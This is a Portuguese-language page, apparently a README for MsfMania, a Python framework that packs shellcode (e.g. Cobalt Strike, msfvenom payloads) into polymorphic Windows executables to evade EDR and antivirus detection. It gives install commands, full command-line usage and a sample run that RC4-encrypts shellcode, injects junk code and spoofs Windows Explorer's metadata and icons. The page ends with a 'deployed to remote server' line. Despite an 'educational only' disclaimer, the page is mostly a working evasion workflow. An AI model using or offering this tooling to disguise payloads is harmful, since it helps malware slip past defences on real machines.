
Ferramentas de Evasão de Antivírus em Python
MsfMania é um framework avançado de ofuscação de payloads baseado em Python, projetado para evadir a detecção de EDR/AV em sistemas Windows. Ele gera executáveis altamente polimórficos por meio de geração dinâmica de código, criptografia de múltiplas camadas (RC4) e falsificação de metadados binários.
⚠️ Apenas para Fins Educacionais — Esta ferramenta foi projetada para testes de segurança autorizados e fins de pesquisa.
git clone https://github.com/lepotekil/MsfMania.gitcd MsfManiadocker build -t msfmania:latest .# docker run --rm -v "$(pwd):/app/output" msfmania:latest
███╗ ███╗███████╗███████╗███╗ ███╗ █████╗ ███╗ ██╗██╗ █████╗
████╗ ████║██╔════╝██╔════╝████╗ ████║██╔══██╗████╗ ██║██║██╔══██╗
██╔████╔██║███████╗█████╗ ██╔████╔██║███████║██╔██╗ ██║██║███████║
██║╚██╔╝██║╚════██║██╔══╝ ██║╚██╔╝██║██╔══██║██║╚██╗██║██║██╔══██║
██║ ╚═╝ ██║███████║██║ ██║ ╚═╝ ██║██║ ██║██║ ╚████║██║██║ ██║
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝
Version : 3.0.1 - Author : Killian CASAROTTO - Updated : 10/14/2025
usage: main.py [-h] -p PAYLOAD -o OUTPUT [-k {1,2,3}] [-s]
[--spoof-bin TARGET_EXE] [-j JUNKCODES]
options:
-h, --help show this help message and exit
-p, --payload PAYLOAD
Select the payload file to use (ex: cobalt64.bin)
-o, --output OUTPUT Output path including filename (ex:
/path/to/output/payload)
-k, --keysize {1,2,3}
RC4 key size in bytes (1-3)
-s, --strip Strip the executable
--spoof-bin TARGET_EXE
Spoof binary metadata from target executable (ex:
assets/bins/bitsadmin_11-21H2_KB5032192.exe)
-j, --junkcodes JUNKCODES
Number of junkcodes to inject (default: 0)
# docker run --rm -v "$(pwd):/app/output" msfmania:latest python3 main.py -p msfmania/assets/bins/win_x64_msgbox_msfvenom_20251010.bin -o output/payload_test_$(date +%s) --keysize 3 --spoof-bin assets/bins/explorer_11-24H2_KB5065789.exe --junkcodes 1000
███╗ ███╗███████╗███████╗███╗ ███╗ █████╗ ███╗ ██╗██╗ █████╗
████╗ ████║██╔════╝██╔════╝████╗ ████║██╔══██╗████╗ ██║██║██╔══██╗
██╔████╔██║███████╗█████╗ ██╔████╔██║███████║██╔██╗ ██║██║███████║
██║╚██╔╝██║╚════██║██╔══╝ ██║╚██╔╝██║██╔══██║██║╚██╗██║██║██╔══██║
██║ ╚═╝ ██║███████║██║ ██║ ╚═╝ ██║██║ ██║██║ ╚████║██║██║ ██║
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝
Version : 3.0.1 - Author : Killian CASAROTTO - Updated : 10/14/2025
[~] Starting shellcode encryption (key size: 3)
[~] Compressing shellcode (303 bytes)
[+] Shellcode compressed to 284 bytes
[~] Encrypting with modified RC4
[+] Encryption completed: 284 bytes (b64: 380 bytes)
[~] Injecting 1000 junkcodes...
[~] Found 27 injection points in main()
[~] Created 973 additional injection points
[+] Inserted 1000/1000 function calls
[+] 1000 junkcodes injected successfully
[+] Successfully injected 1000 junkcodes
[~] Applying obfuscation...
[+] Obfuscated 145 identifiers
[~] Extracting metadata from: assets/bins/explorer_11-24H2_KB5065789.exe
[+] Extracted metadata:
Description: Windows Explorer
Version: 10.0.26100.6725 (WinBuild.160101.0800)
Company: Microsoft Corporation
Product: Microsoft® Windows® Operating System
[~] Found 23 icon groups with 181 icons
[+] Extracted 26 unique icon(s) from 181 total
[+] Extracted 26 icon(s)
[~] Compiling to: /app/output/output/payload_test_1760467840.exe
[~] Compiling resource file: /tmp/payload_test_1760467840.rc
[+] Resource file compiled: /tmp/payload_test_1760467840.res
[+] Compilation successful: /app/output/output/payload_test_1760467840.exe
[+] Binary size: 405ko
[+] C source copied to: /app/output/examples/main.c
[*] Deploying to remote server...
[+] Payload deployed successfully
⚠️ IMPORTANTE: Este projeto é destinado exclusivamente para fins educacionais e testes de segurança autorizados.
Este projeto está licenciado sob a Licença MIT — consulte o arquivo LICENSE para mais detalhes.
MsfMania |
Logs de Execução do Payload |
Resultados de Detecção do VirusTotal | |